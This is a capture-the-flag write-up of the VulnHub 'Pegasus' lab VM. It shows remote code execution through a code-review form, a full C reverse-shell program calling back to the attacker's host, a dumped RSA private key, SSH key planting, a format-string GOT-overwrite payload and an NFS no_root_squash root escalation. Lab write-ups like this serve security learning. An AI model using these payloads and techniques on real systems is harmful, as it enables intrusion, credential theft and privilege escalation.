Pegasus VulnHub Writeup

  1. Service Discovery
  2. Port 8088 - nginx
  3. Mike
  4. John
  5. Conclusion

This machine is called Pegasus, and is brought to us by Knapsy. This took a bit longer than I liked to solve, mostly because I kept on hitting my head against one of the steps and then taking a break.

Service Discovery

Let's start off with an nmap scan

nmap -T4 -A -v -sT -p0-65535 192.168.57.103

Starting Nmap 7.00 ( https://nmap.org ) at 2015-11-25 09:07 GMT
NSE: Loaded 132 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 09:07
Completed NSE at 09:07, 0.00s elapsed
Initiating NSE at 09:07
Completed NSE at 09:07, 0.00s elapsed
Initiating ARP Ping Scan at 09:07
Scanning 192.168.57.103 [1 port]
Completed ARP Ping Scan at 09:07, 0.21s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:07
Completed Parallel DNS resolution of 1 host. at 09:07, 0.04s elapsed
Initiating Connect Scan at 09:07
Scanning 192.168.57.103 [65536 ports]
Discovered open port 22/tcp on 192.168.57.103
Discovered open port 111/tcp on 192.168.57.103
Discovered open port 36025/tcp on 192.168.57.103
Discovered open port 8088/tcp on 192.168.57.103
Completed Connect Scan at 09:07, 2.25s elapsed (65536 total ports)
Initiating Service scan at 09:07
Scanning 4 services on 192.168.57.103
Completed Service scan at 09:07, 11.02s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.57.103
NSE: Script scanning 192.168.57.103.
Initiating NSE at 09:07
Completed NSE at 09:07, 0.47s elapsed
Initiating NSE at 09:07
Completed NSE at 09:07, 0.00s elapsed
Nmap scan report for 192.168.57.103
Host is up (0.00039s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 77:89:5b:52:ed:a5:58:6e:8e:09:f3:9e:f1:b0:d9:98 (DSA)
|   2048 d6:62:f5:12:31:36:ed:08:2c:1a:5e:9f:3c:aa:1f:d2 (RSA)
|_  256 c5:f0:be:e5:c0:9c:28:6e:23:5c:48:38:8b:4a:c4:43 (ECDSA)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          33460/udp  status
|_  100024  1          36025/tcp  status
8088/tcp  open  http    nginx 1.1.19
|_http-favicon: Unknown favicon MD5: 43FEAD1B2A58B485430C387D9BED4AFB
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.1.19
|_http-title: Pegasus Technologies - Under Construction
36025/tcp open  status  1 (RPC #100024)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          33460/udp  status
|_  100024  1          36025/tcp  status
MAC Address: 08:00:27:88:F8:40 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.0
Uptime guess: 198.838 days (since Sun May 10 14:00:47 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.39 ms 192.168.57.103

NSE: Script Post-scanning.
Initiating NSE at 09:07
Completed NSE at 09:07, 0.00s elapsed
Initiating NSE at 09:07
Completed NSE at 09:07, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.71 seconds
           Raw packets sent: 44 (4.464KB) | Rcvd: 36 (3.840KB)

We've got two ports of interest - 22 (ssh) and 8088 (http/nginx).

Connecting to SSH results in no banner, but does allow password authentication.

Port 8088 - nginx

After browsing to port 8088, we're presented with a lovely picture of a Pegasus.

I couldn't find anything of interest in the exif tags or elsewhere within this image.

I perform a 'forced browse' on the site, and come up with two hits.

  • submit.php
  • codereview.php

When visiting 'submit.php' directly, we're given the following output.

No data to process.

I decide to try and post something to the script, but still receive the same message. I'm guessing it's looking for a particular set of fields.

Moving on, I check out codereview.php. Upon visiting the page, we're presented with the following form.

This submits to 'submit.php', with the field named 'code'.

At first, I tried submitting PHP scripts..then BASH, SQLi, Python.. I tried a lower level language - C.

After submitting a small C program that used the 'system' method to execute wget on the target, I received the following error message.

Sorry, due to security precautions, Mike won't review any code containing system() function call.

Ok - so I try using 'execv' instead.

#include <stdio.h>
#include <string.h>

int main ()
{
  char *args[] = {"/usr/bin/wget", "http://192.168.57.102", (char *) 0 };

  execv("/usr/bin/wget", args);
  return(0);
}

Success! This resulted in a HTTP request being sent to my test machine from the target machine. Time to get a reverse shell.

After a quick Google, I find a C reverse shell in a blog post.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {
    int sockfd;         
    int lportno = 12345;    
    struct sockaddr_in serv_addr;
    char *const params[] = {"/bin/sh",NULL};
    char *const environ[] = {NULL};

    sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = inet_addr("192.168.57.102");
    serv_addr.sin_port = htons(lportno);  
    connect(sockfd, (struct sockaddr *) &serv_addr, 16);

    dup2(sockfd,0);
    dup2(0,1);
    dup2(0,2);
    execve("/bin/sh",params,environ);
}

After submitting to the code review service, I get a connect back with a shell.

nc -v -l 0.0.0.0 12345
Listening on [0.0.0.0] (family 0, port 12345)
Connection from [192.168.57.103] port 12345 [tcp/*] accepted (family 2, sport 59273)
id
uid=1001(mike) gid=1001(mike) groups=1001(mike)

Mike

After digging around Mikes home directory, I find a private key. I take a note of this for later.

ls -alh
total 56K
drwxr-x--- 5 mike mike 4.0K Nov 26 00:15 .
drwxr-xr-x 5 root root 4.0K Nov 18  2014 ..
-rw------- 1 mike mike    0 Dec 16  2014 .bash_history
-rw-r--r-- 1 mike mike  220 Nov 18  2014 .bash_logout
-rw-r--r-- 1 mike mike 3.5K Nov 19  2014 .bashrc
drwx------ 2 mike mike 4.0K Nov 18  2014 .cache
-rw-r--r-- 1 mike mike  675 Nov 18  2014 .profile
drwx------ 2 mike mike 4.0K Nov 24  2014 .ssh
-rw------- 1 mike mike  620 Dec 16  2014 .viminfo
drwx------ 2 mike mike 4.0K Nov 18  2014 Mail
-rwxr-xr-x 1 mike mike  845 Nov 18  2014 check_code.sh
-rwxr-xr-x 1 mike mike 7.3K Nov 26 00:15 code
-rwsr-xr-x 1 john john 6.5K Nov 28  2014 my_first
ls .ssh
id_rsa
known_hosts
cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAu9uf1HNMP46/biQZyeSp3HiB0kAeJxfqEhM0OzffJqysmJw1
5UltElxmv3F0j1eARFODzTjP00yTzrnRKXnVl2fz8ir0h5fenQRFRdQtBnhyCpJO
2XFQvj0l/fdFe8QBeatpDaxarAiojI+C+k2K2CZLhxh7MXKycI3lQAY47ptrLS6C
oLdpfHMbo7OHm/gW5mclNoawgakCd/hPHFFDQFLM3gYtBxTud1QEPOH6opgohN73
gfCf2s3k7rxv79lPBcDWmyg+7Z0LK0+LiPO20P9k2H+g8aQCkoTvJ7hxECCVZ29A
PBfX8xgLNh0UboSS9Z31YCFNK71AoxLadHrewQIDAQABAoIBAQCpdU5SKMeJNc19
H1ecBYcseBAzht8sSKg/Mc+V86p6ip0O9Sqw8HFRdMTCwSdx/m6YM/Xa8/qVEqjq
fDgvf9WqxH0L4K/AeMC5RxbuDJ2pDpFg8+XoxA0f7q0M0Td+k6r5BCS5ztXkBdN1
KCfwfm5W2QSckvrd+ib43ScFgBdvNHvYGR4rIyzwNizx2ewg9FjiSNHGiItSYSpX
TxRgLcrnjHQWBM1pk+mv57+OSPj5VZW/0ZgEoPksHtRJzsFX3STyI/tmL6gk2Cj9
BJ6Ld+8jyUtnsNSl+ZPeDy7FlGWIOM8Jw1vUrDQ3lwBOxGmrrm/jAkKPU6iqA9DR
olRoLVC5AoGBAOAAQvwVrgv9w80uXvoifGO/SRLg4Gv7ZWJ+5fowDmiIV0QYUwVA
AA0mekUq0Fiy9pHCIpJZwF6nebqEnZlN2TV5C4uIdeOvaZMunl0woIMGANpthKie
sdKADX0bw0k9lbCKf8iGG5j1dK/J4roaBBqjjJu7GyYQWRcEyKaQ06MfAoGBANax
mwhJgRth1NP6t8BygmLz1s2LvhOP1QINfLzfBK7+csaOJYfDDqo8IwJUOapPQD9K
bwn6DIfHr4QyWZz8IS4R3secxM+SEcVWv0hPKyuRCQ7nd6odaeMh7hEWZbaQgyeS
0N8O525At9t4rcewCSVABLLnLE/FJ7dgzY760CIfAoGAGlXNikeeO8is8X2HKw9M
4olFtRN9LxTSWZ8juKNXvlBxOg9GC3L3zpP8gg9DiXoY5RAW8m/c3wP/mr8mrDRr
2g6OHeyAN7GSzvwHIFusM1tMVGHV2+E0dNQbQd82uXClHala1p91tSj+fABXSJvw
aZVa3aBE09fOMZedY3/Zce8CgYEAmMg/WYBlfkT6nfe3uB5FJ4H7BL9DfsxGe3V5
pTbYMGgm6aHSl3B6CS9OgqPJfad0QxYHOwRU0nOKNftWxl6uhgh1j3vCmyyJtPNs
oFqmkBRga9jQ0aCo79f/gO19aJQioZDbT0Fd9JndvTN+B7MAbx/FuELGx+W3w8oB
vpRCdWUCgYA8Z6YK/REdftjzA3C91RObg2NaP0CbiPSmlrdeUxp2urXt8BSIXh1+
4CIXCFKvmqHrjitXuvjNjO+pO3Z24NuiAYnkNho+0gc8+tDnkkPBWNVJUvoFIuK4
uQcPzxVlmfkL6fh8PI1bJLDFoQZTLs6ltt8ym4BgPdG2MphR9M2z6Q==
-----END RSA PRIVATE KEY-----

I also note that there is a binary with the SUID bit set, owned by the user 'john'.

file my_first
my_first: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0xa7154888c18de2c173560b5a43d08856a538b357, not stripped

I transfer this file to my test machine by base64 encoding it, and the decoding it.

Before going any further, I add my SSH key to the .ssh/authorized_keys file for mike, so that I can SSH in without having to use the reverse shell.

After playing with the binary, it appears to be vulnerable to format string injection.

$ ./my_first
WELCOME TO MY FIRST TEST PROGRAM
--------------------------------
Select your tool:
[1] Calculator
[2] String replay
[3] String reverse
[4] Exit

Selection: 1

Enter first number: 0
Enter second number: %x
Error details: ffd90fcc

I can find the return address of the current block at position 39 on the stack by entering %39$x.

Selection: 1

Enter first number: 0
Enter second number: %39$x
Error details: 80485dc

Initially I spent quite a bit of time attempting to use the ability of overwriting the return address to gain execution here, but failed dismally due to the inability to setup the stack sufficiently. It's around about here that I took quite a long break from attacking these machines.

After spending quite a bit of time reading, I decided to give a GOT overwrite attack a go. The theory here, is to overwrite the address to which the printf entry on the PLT is jumping to, to an address we desire (such as system). As printf is called directly after user input is taken, we should be able to manipulate the stack enough to get us an arbitrary command executed.

First things first, I find the address that printf@plt is jumping to. Stepping through execution gives us the address of the PLT entry.

0x80486cf <calculator+180>:    call   0x80483b0 <printf@plt>

If we disassemble this, we can find the address of the pointer being used.

gdb-peda$ disas 0x80483b0
Dump of assembler code for function printf@plt:
   0x080483b0 <+0>:    jmp    DWORD PTR ds:0x8049bfc
   0x080483b6 <+6>:    push   0x0
   0x080483bb <+11>:    jmp    0x80483a0
End of assembler dump.
gdb-peda$ x *0x8049bfc
0xf7e44130:    "S\350_\215\r"
gdb-peda$ disas 0xf7e44130
Dump of assembler code for function printf:
   0xf7e44130 <+0>:    push   ebx
   0xf7e44131 <+1>:    call   0xf7f1ce95
   0xf7e44136 <+6>:    add    ebx,0x16ceca
   0xf7e4413c <+12>:    sub    esp,0x8
   0xf7e4413f <+15>:    lea    eax,[esp+0x14]
   0xf7e44143 <+19>:    sub    esp,0x4
   0xf7e44146 <+22>:    push   eax
   0xf7e44147 <+23>:    mov    eax,DWORD PTR [ebx-0x68]
   0xf7e4414d <+29>:    push   DWORD PTR [esp+0x18]
   0xf7e44151 <+33>:    push   DWORD PTR [eax]
   0xf7e44153 <+35>:    call   0xf7e39e40 <vfprintf>
   0xf7e44158 <+40>:    add    esp,0x18
   0xf7e4415b <+43>:    pop    ebx
   0xf7e4415c <+44>:    ret    
End of assembler dump.
gdb-peda$ vmmap
Start      End        Perm    Name
0x08048000 0x08049000 r-xp    /home/test/Downloads/my_first
0x08049000 0x0804a000 rw-p    /home/test/Downloads/my_first
0xf7df9000 0xf7dfa000 rw-p    mapped
0xf7dfa000 0xf7fae000 r-xp    /lib/i386-linux-gnu/libc-2.21.so
0xf7fae000 0xf7fb1000 r--p    /lib/i386-linux-gnu/libc-2.21.so
0xf7fb1000 0xf7fb3000 rw-p    /lib/i386-linux-gnu/libc-2.21.so
0xf7fb3000 0xf7fb5000 rw-p    mapped
0xf7fd3000 0xf7fd7000 rw-p    mapped
0xf7fd7000 0xf7fd9000 r--p    [vvar]
0xf7fd9000 0xf7fda000 r-xp    [vdso]
0xf7fda000 0xf7ffc000 r-xp    /lib/i386-linux-gnu/ld-2.21.so
0xf7ffc000 0xf7ffd000 r--p    /lib/i386-linux-gnu/ld-2.21.so
0xf7ffd000 0xf7ffe000 rw-p    /lib/i386-linux-gnu/ld-2.21.so
0xfffdd000 0xffffe000 rw-p    [stack]

Great - so we need to overwrite this pointer (which after the mappings, appears possible) with the address of the system function, which can be found pretty easily.

gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xf7e35160 <system>

Time to put together our payload.

\xfc\x9b\x04\x08\xfe\x9b\x04\x08%20820x%9$hn%42627x%10$hn

This works fine on my test machine, however I needed to disable ASLR in order for the address of system to remain constant. I consequently also needed to change the address to which my payload was pointing to.

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
$ python -c 'print "1\n0\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%37208x%8$hn%50173x%9$hn"' | ./my_first

This results in the following output.

sh: 1: Selection:: not found

This is because the next call to printf is when we return to the main menu. As the string Selection: is being placed on to the stack, this is then being passed into the system call.

We can use this error to execute commands as the john user.

Luckily, we have gdb installed on the target, and as we're on a 32bit system, disabling ASLR is a walk in the park - no sudo required.

$ ulimit -s unlimited
$ gdb my_first
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/mike/my_first...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x804850f
Starting program: /home/mike/my_first

Temporary breakpoint 1, 0x0804850f in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0x40069060 <system>

Great - lets put together the exploit.

$ echo '<python reverse shell here>' > Selection\:
$ chmod +x Selection\:
$ export PATH=.:$PATH
$ python -c 'print "1\n0\n\xfc\x9b\x04\x08\xfe\x9b\x04\x08%36952x%8$hn%44966x%9$hn"' | ./my_first

On our testing machine (which was listening on port 12345), we get a connect back.

$ nc -v -l 0.0.0.0 12345
Listening on [0.0.0.0] (family 0, port 12345)
Connection from [192.168.57.103] port 12345 [tcp/*] accepted (family 2, sport 34205)
$ id
uid=1001(mike) gid=1001(mike) euid=1000(john) groups=1000(john),1001(mike)

John

After a little digging around, I come up blank for john. The only thing I've found was a key in the .ssh folder, but that did not allow me to authenticate against any users on the server.

The only other thing that I've not managed to check is the sudo permissions. In order to do this, I'll need to swap euid and uid in my current session. I put together a small C snippet to swap these, and then execute /bin/bash.

#include <stdio.h>

void main(int argc, char *argv[]) {
  setreuid(geteuid(), getuid());
  execv("/bin/bash", argv);
}

Upon executing this (after compiling with gcc), I check out my id, and sudo permissions.

id
uid=1000(john) gid=1001(mike) groups=1000(john),1001(mike)
sudo -l
Matching Defaults entries for john on this host:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on this host:
    (root) NOPASSWD: /usr/local/sbin/nfs

So, john can execute /usr/local/sbin/nfs as root without a password.

This executable allows us to start or stop the nfs service. I check the config for this service, by inspecting the contents of the file /etc/exports. Inside, we find a single entry.

/opt/nfs    *(rw,sync,crossmnt,no_subtree_check,no_root_squash)

I start the nfs service.

$ sudo /opt/nfs start

On my test machine, I ensure nfs-common is installed, and then mount the directory. Once mounted, I create a file and make it world writable.

$ mkdir /mnt/pegasus
$ mount -t nfs -o proto=tcp,port=2049 192.168.57.103:/opt/nfs /mnt/pegasus
$ touch /mnt/pegasus/root_shell
$ chmod 777 /mnt/pegasus/root_shell

Next, back on the target machine, I copy /bin/dash over this world writable file.

$ cp /bin/dash /opt/nfs/root_shell

Then, back on the test machine, I set the SUID and SGID bits.

$ chmod u+s /mnt/pegasus/root_shell
$ chmod g+s /mnt/pegasus/root_shell

Finally, back on the target machine, I execute this file and check my id.

$ /opt/nfs/root_shell
$ id
uid=1000(john) gid=1001(mike) euid=0(root) egid=0(root) groups=0(root),1001(mike)

Awesome - time to get the flag!

$ ls -lah /root
total 32K
drwx------  3 root root 4.0K Dec 16  2014 .
drwxr-xr-x 22 root root 4.0K Nov 19  2014 ..
-rw-------  1 root root   98 Dec 16  2014 .bash_history
-rw-r--r--  1 root root 3.1K Nov 19  2014 .bashrc
drwx------  2 root root 4.0K Nov 23  2014 .cache
-rw-------  1 root root 1.8K Dec 16  2014 flag
-rw-r--r--  1 root root  140 Apr 19  2012 .profile
-rw-------  1 root root  777 Dec 16  2014 .viminfo
$ cat /root/flag
               ,
               |`\        
              /'_/_   
            ,'_/\_/\_                       ,   
          ,'_/\'_\_,/_                    ,'|
        ,'_/\_'_ \_ \_/                _,-'_/
      ,'_/'\_'_ \_ \'_,\           _,-'_,-/ \,      Pegasus is one of the best
    ,' /_\ _'_ \_ \'_,/       __,-'<_,' _,\_,/      known creatures in Greek
   ( (' )\/(_ \_ \'_,\   __--' _,-_/_,-',_/ _\      mythology. He is a winged
    \_`\> 6` 7  \'_,/ ,-' _,-,'\,_'_ \,_/'_,\       stallion usually depicted
     \/-  _/ 7 '/ _,' _/'\_  \,_'_ \_ \'_,/         as pure white in color.
      \_'/>   7'_/' _/' \_ '\,_'_ \_ \'_,\          Symbol of wisdom and fame.
        >/  _ ,V  ,<  \__ '\,_'_ \_ \'_,/
      /'_  ( )_)\/-,',__ '\,_'_,\_,\'_\             Fun fact: Pegasus was also
     ( ) \_ \|_  `\_    \_,/'\,_'_,/'               a video game system sold in
      \\_  \_\_)    `\_                             Poland, Serbia and Bosnia.
       \_)   >        `\_                           It was a hardware clone of
            /  `,      |`\_                         the Nintendo Famicom.
           /    \     / \ `\
          /   __/|   /  /  `\  
         (`  (   (` (_  \   /   
         /  ,/    |  /  /   \   
        / ,/      | /   \   `\_
      _/_/        |/    /__/,_/
     /_(         /_(


CONGRATULATIONS! You made it :)

Hope you enjoyed the challenge as much as I enjoyed creating it and I hope you
learnt a thing or two while doing it! :)

Massive thanks and a big shoutout to @iMulitia for beta-breaking my VM and
providing first review.

Feel free to hit me up on Twitter @TheKnapsy or at #vulnhub channel on freenode
and leave some feedback, I would love to hear from you!

Also, make sure to follow @VulnHub on Twitter and keep checking vulnhub.com for
more awesome boot2root VMs!

Conclusion

This VM gave me some nice experience of messing around with Format String Injection vulnerabilities - something I've had a little bit of experience with in CTFs, but not a great deal.

Thank you for the VM Knapsy, and of course thank you VulnHub for hosting it!

Happy new year everyone!